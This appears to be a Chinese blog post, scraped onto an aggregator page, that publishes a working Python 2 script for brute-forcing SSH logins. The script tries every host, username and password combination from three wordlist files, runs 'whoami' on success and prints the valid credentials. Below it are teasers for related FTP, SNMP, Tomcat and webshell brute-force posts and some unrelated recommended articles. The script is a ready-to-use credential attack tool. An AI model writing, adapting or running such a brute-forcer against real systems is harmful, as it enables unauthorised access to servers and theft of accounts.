最近在乌云看到一份端口详解:为了锻炼自己,按照端口详解写脚本

#!/usr/local/bin/ python

# -*- coding: UTF-8 -*-

__author__ = 'yangxiaodi'

from multiprocessing import Pool

from pexpect import pxssh

import sys

reload(sys)

sys.setdefaultencoding( "utf-8" )

datas=[]

def connect():

cmd = 'whoami'

for data in datas:

host = data.split(':',2)[0]

user = data.split(':',2)[1]

password = data.split(':',2)[2]

try:

s = pxssh.pxssh(timeout=3)

s.login(host,user,password)

s.sendline(cmd)

s.prompt()

print '[+] ssh host:'+host+' user:'+user+' password:'+password+' 执行命令:'+s.before

except:

print u'错误 [-] ssh host:'+host+' user:'+user+' password:'+password

def read_file(filepath):

f = open(filepath).readlines()

return f

def get_host_user_pass():

host = read_file('host.txt')

for h in host:

h = h.replace('\n','')

user = read_file('user.txt')

for u in user:

u = u.replace('\n','')

passs = read_file('pass.txt')

for pas in passs:

pas = pas.replace('\n','')

datas.append(h+':'+u+':'+pas)

return True

resu = []

get_host_user_pass()

p = Pool()

resu.append(p.apply_async(connect,args=()))

p.close()

p.join()

for res in resu:

print res.get()

print 'all subprocesses done.'

本地要有三个文件  user.txt , host.txt , pass.txt

这次没在脚本做判断,遇到成功的还是继续爆破成功的ip,原因是用了多进程,然后不会改,留到后面再来解决。(有人帮忙吗)

ftp爆破(python脚本)

最近在乌云看到一份端口详解:为了锻炼自己,按照端口详解写脚本 #!/usr/local/bin/ python #-*- coding: UTF-8 -*- __author__ = '' from ...

snmp爆破(python脚本)

snmp用来获取信息,然后利用获取的信息来进一步的渗透. 命令行有 snmpwalk -v 2c -c public ip system -c是密码,默认的密码是public 利用工具可以找windo ...

python多线程ssh爆破

python多线程ssh爆破 Python 0x01.About 爆弱口令时候写的一个python小脚本,主要功能是实现使用字典多线程爆破ssh,支持ip表导入,字典数据导入. 主要使用到的是pyth ...

python ssh弱口令爆破多线程脚本及遇到的一些错误与问题

练习写了个SSH弱口令爆破多线程脚本,遇到的问题 1.一开始想import pexpect 中的pxssh 然而却一直该有错误, ImportError: cannot import name spa ...

一句话爆破速度提升一千倍python脚本

这个脚本是接地提供的思路,一句话爆破速度提升一千倍,看了他的帖子然而没有看到工具,思路很牛逼,我提供一个Python脚本本地测试了下,十万密码只需要3秒,速度还是可以的 # coding:utf-8 ...

ssh爆破脚本

前些天,基友发我一个ssh爆破工具,看起来很吊的样子.然后我就无聊自己写了个py脚本的. 单线程:慢成狗----- #coding:utf-8 #author:jwong import threadi ...

WEB中间件--tomcat爆破,burp和python脚本

1.tomcat 用burpsuit进行弱口令爆破 先抓包 发送到inturder payload type 选择custom iterater 第一个payload选用户名文件,第二个payload ...

Python SSH爆破以及Python3线程池控制线程数

源自一个朋友的要求,他的要求是只爆破一个ip,结果出来后就停止,如果是爆破多个,完全没必要停止,等他跑完就好 #!usr/bin/env python #!coding=utf-8 __author_ ...

python脚本后台运行

问题描述: 环境: CentOS6.4 一个用python写的监控脚本test1.py,用while True方式一直运行,在ssh远程(使用putty终端)时通过以下命令启动脚本: python t ...

随机推荐

Jquery DIV滚动至浏览器顶部后固定不动代码

$(function(){ //获取要定位元素距离浏览器顶部的距离 var navH = $(".win").offset().top; //滚动条事件 $(window).scr ...

Top Data Scientists to Follow & Best Data Science Tutorials on GitHub

http://www.analyticsvidhya.com/blog/2015/07/github-special-data-scientists-to-follow-best-tutorials/ ...

开发工具 之 PowerDesigner 应用积累

1.在默认情况下,code与name是联动,修改了name中的数据. 解决方法:设置菜单栏选择"Tools→General Options→Dialog"  中的 "Na ...

网络的基本概念TCP, UDP, 单播(Unicast), 多播(多播)(Multicast)

章相当低级,但相当重要! 我们周围一切差点儿都依赖于把事情抽象成低等级,并在某一点把它详细化,在一些设计概念中.接口层十分清晰而且目标非常集中,应用程序不用考虑操作系统怎样工作,操作系统也不用考虑硬件 ...

Promise对象解读

首先强调的是"Promise"是对象,也就是说与其他JavaScript对象的用法,没有什么两样:其次,它起到代理作用(proxy),充当异步操作与回调函数之间的中介.它使得异步操 ...

margin相关

1.图片与文字对齐问题 如果图片和文字差不多大时,使用兼容性强的margin负值方法. 方法:img{margin:0 3px -3px 0;} 2.div嵌套后margin出现失效(转移)问题 原因 ...

xss攻击与防御

一.XSS攻击 Cross Site Scripting跨站脚本攻击 利用js和DOM攻击. 盗用cookie,获取敏感信息 破坏正常页面结构,插入恶意内容(广告..) 劫持前端逻辑 DDos攻击效果 ...

PHP基础(命名错误)错误导致的500

记得去年七月份参与一个项目发生的一个低级错误 因为不小心在命名一个方法时使用了一list做为名称,因此在后面无明业火被点燃. 发现一个500,无论如何调整总是500,数据库,文件,url都正确,但就是 ...

hdu 2973"YAPTCHA"(威尔逊定理)

传送门 题意: 给出自然数 n,计算出 Sn 的值,其中 [ x ]表示不大于 x 的最大整数. 题解: 根据威尔逊定理,如果 p 为素数,那么 (p-1)! ≡ -1(mod p),即 (p-1)! ...

tensorflow c/c++库使用方法

tensorflow目前支持最好的语言还是python,但大部分服务都用C++ or Java开发,一般采用动态链接库(.so)方式调用算法,因此tensorflow的c/c++ API还是有必要熟悉 ...

python ssh 爆破_ssh爆破(python脚本)相关推荐

  1. python ssh实现_SSH协议的Python实现paramiko

    paramiko安装 SSH是一个协议,paramiko 是一个Python 的库,该库支持sshv2协议,实现了对远程服务器执行操作 安装命令: pip3 install paramiko SSHC ...

  2. python ssh模块_windows下python SSH的使用——paramiko模块

    paramiko模块实例. #!/usr/bin/python import paramiko server_ip = '192.168.*.*' server_user = 'your_user' ...

  3. python调用js批量爆破账号密码

    python调用js批量爆破账号密码 前言 流程 爬取账号 爆破 参考文章 前言 在进行默认弱口令爆破的时候遇到了使用js对账号密码加密,而且加密算法写的比较复杂,如果用python重新写一个加密算法 ...

  4. python新建文件夹口令_Python脚本破解压缩文件口令实例教程(zipfile)

    zipfile模块是python中一个处理压缩文件的模块,解决了不少我们平常需要处理压缩文件的需求 ,本文主要谈谈zipfile几个常用的用法. 环境:Windows python版本2.7.15 P ...

  5. 【逗老师带你学IT】HUAWEI华为防火墙自动化运维Python ssh管理网络设备

    本文,介绍一种.通过Django框架,搭建API服务器,并通过此API服务器管理华为防火墙.并以此衍生出,通过Django+Python+ssh的方式管理网络设备的方法. 关于Django环境的搭建, ...

  6. python ssh连接服务器_pycharm通过ssh连接远程服务器教程

    由于想要使用pycharm连接Window子系统Ubuntu进行开发,找了很多教程都不够详细,花了点儿时间,最后配置成功. 将pycharm连接Window子系统的配置过程总结如下,连接其它远程服务器 ...

  7. Python for虚幻引擎编辑器工具脚本学习教程

    Python for Unreal Engine Editor Tools Scripting MP4 |视频:h264,1280×720 |音频:AAC,44.1 KHz,2 Ch 语言:英语+中英 ...

  8. Python迁移MySQL数据到MongoDB脚本

    MongoDB是一个文档数据库,在存储小文件方面存在天然优势.随着业务求的变化,需要将线上MySQL数据库中的行记录,导入到MongoDB中文档记录. 一.场景:线上MySQL数据库某表迁移到Mong ...

  9. Python ssh连接Linux服务器报Incompatible ssh peer (no acceptable kex algorithm) 解决方法

    Python ssh连接Linux服务器报Incompatible ssh peer (no acceptable kex algorithm) 解决方法 参考文章: (1)Python ssh连接L ...

最新文章

  1. javascript-Global与Math对象
  2. 机器学习中距离和相似性度量方法
  3. idea 快捷键获取类的全限定类名(包名+类名)
  4. 快速排序 java导包_排序算法-快速排序(Java实现)
  5. 需求分析——掌握和使用UML建模语言顺序图模型
  6. if函数判断单元格颜色_excel中的if函数,实现自动判断
  7. PAT乙级(1001 害死⼈不偿命的(3n+1)猜想)
  8. WindowsServer2012 DFS配置出错原因
  9. 工具使用-----Jmeter-脚本的录制
  10. php怎么自动识别车牌号,车牌号自动识别系统怎么录入,很多你不知道的潜规则...
  11. ssm毕设项目住宅小区停车管理系统494ak(java+VUE+Mybatis+Maven+Mysql+sprnig)
  12. Flutter集成与打包iOS应用
  13. 站在知乎肩上-做更强的自己(4)
  14. c# word 在当前光标位置插入内容
  15. java 加密并打包_java实现将多个文件打包成zip压缩文件以及对压缩文件的加密
  16. 操作系统PV大题_小和尚老和尚喝水问题
  17. 区块链调研备份8.1
  18. Maxon CINEMA 4D Studio R26.014 三维建模软件C4D R26
  19. 单仓库设施选址决策方法(重心法,C语言代码)
  20. throws和throw的作用

热门文章

  1. 计算机能换显卡吗,联想台式机可以更换显卡
  2. 南航TRANS复现: 电容电流前馈+电网电压全前馈_单相LCL并网逆变器仿真
  3. 判断linux标准输入法,[fcitx]linux下的中文输入法(非准确)
  4. 基于javaweb学生课程管理系统
  5. Face Recognition数据集总结
  6. java 策略模式例子_java策略模式实例解析
  7. 无刷直流电机虚拟中性点分析
  8. JS数组定义,遍历,判断是否是数组
  9. C# winform 基于MYSQL数据库 简单使用动态TreeView
  10. Spring3 MVC请求参数获取的几种方法